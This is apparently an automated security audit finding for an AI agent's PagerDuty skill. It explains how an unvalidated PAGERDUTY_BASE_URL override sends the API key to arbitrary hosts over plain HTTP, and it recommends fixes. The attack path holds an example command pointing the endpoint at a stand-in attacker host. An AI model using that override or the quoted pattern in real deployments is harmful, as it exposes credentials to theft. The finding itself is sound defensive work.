T09 · Insecure Skill Coding Practices
Error
- Location
- pagerduty.js:13
- Finding
- Arbitrary API Endpoint Override Can Expose PagerDuty Credentials<![CDATA[ ## Vulnerability Details **File Location**: `pagerduty.js`, lines 13 and 29–45 **Vulnerability Type**: Arbitrary credential destination and plaintext transport **Risk Level**: High ### Vulnerable Code ```js const BASE_URL = process.env.PAGERDUTY_BASE_URL || "https://api.pagerduty.com"; const API_KEY = process.env.PAGERDUTY_API_KEY; const FROM_EMAIL = process.env.PAGERDUTY_FROM_EMAIL; ``` ```js const payload = body ? JSON.stringify(body) : null; const url = new URL(BASE_URL + path); const headers = { "Authorization": `Token token=${API_KEY}`, "Accept": "application/vnd.pagerduty+json;version=2", "Content-Type": "application/json", }; if (FROM_EMAIL) { headers["From"] = FROM_EMAIL; } if (payload) { headers["Content-Length"] = Buffer.byteLength(payload); } const transport = url.protocol === "https:" ? https : http; ``` ### Technical Analysis The undocumented `PAGERDUTY_BASE_URL` environment variable controls the complete origin to which API requests are sent. The code then unconditionally attaches the PagerDuty API key through the `Authorization` header and, when configured, the PagerDuty user email through the `From` header. No validation restricts the destination to PagerDuty-controlled hosts. The implementation also explicitly permits the `http:` protocol, allowing credentials and operational request data to be sent without transport encryption. The Skill's declared functionality requires network access to PagerDuty, but it does not require sending production credentials to arbitrary origins or supporting plaintext HTTP. This behavior therefore exceeds the minimum privileges necessary for the declared functionality. ### Attack Path 1. An attacker gains control over the Skill's launch environment, deployment configuration, wrapper script, or environment-variable injection channel. 2. The attacker sets an environment variable such as: ```bash export PAGERDUTY_BASE_URL="http://attacker.example" ``` 3. The user or agent i ...[truncated 1537 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. Remove the production endpoint override and use a fixed PagerDuty origin: ```js const BASE_URL = "https://api.pagerduty.com"; ``` 2. If an alternate endpoint is genuinely required for testing, enforce all of the following controls: - Require the `https:` protocol. - Use an explicit hostname allowlist. - Reject embedded usernames or passwords. - Reject unexpected ports. - Never attach production PagerDuty credentials to a non-PagerDuty origin. - Gate test endpoints behind an explicit development-only configuration that cannot be enabled in production. 3. Validate the destination immediately before sending each request: ```js const url = new URL(path, "https://api.pagerduty.com"); if ( url.protocol !== "https:" || url.hostname !== "api.pagerduty.com" || url.port !== "" ) { throw new Error("Invalid PagerDuty API destination"); } ``` 4. Avoid selecting the plaintext `http` module for authenticated requests. Reject all non-HTTPS URLs. 5. Use a least-privilege PagerDuty API credential restricted to only the operations required by the deployment. 6. Rotate the PagerDuty API key if the Skill has previously run with an untrusted or incorrectly configured `PAGERDUTY_BASE_URL`. 7. Document all supported network destinations and security-sensitive environment variables so operators can audit deployment configuration. ]]>